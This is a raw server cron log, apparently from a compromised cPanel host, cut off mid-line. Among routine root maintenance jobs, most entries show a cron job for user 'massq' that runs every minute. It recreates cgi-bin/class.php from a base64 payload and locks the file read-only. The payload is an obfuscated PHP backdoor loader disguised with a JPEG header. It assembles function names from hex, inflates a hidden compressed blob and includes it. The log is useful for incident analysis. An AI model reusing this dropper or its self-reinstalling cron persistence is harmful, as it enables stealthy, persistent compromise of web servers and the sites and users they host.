Apr 13 03:04:01 server CROND[16100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:05:01 server CROND[16153]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 03:05:01 server CROND[16154]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 13 03:05:01 server CROND[16155]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 03:05:01 server CROND[16156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:06:01 server CROND[16261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:07:02 server CROND[16407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:08:01 server CROND[16462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:09:01 server CROND[16519]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 13 03:09:01 server CROND[16520]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:10:01 server CROND[16582]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 03:10:01 server CROND[16584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:10:01 server CROND[16583]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 13 03:10:01 server CROND[16585]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 03:11:01 server CROND[16693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:12:01 server CROND[16846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:12:01 server CROND[16847]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 13 03:13:01 server CROND[16908]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:14:01 server CROND[17006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:15:01 server CROND[17069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:15:01 server CROND[17070]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 03:15:01 server CROND[17071]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 03:16:01 server CROND[17190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:17:01 server CROND[17347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoq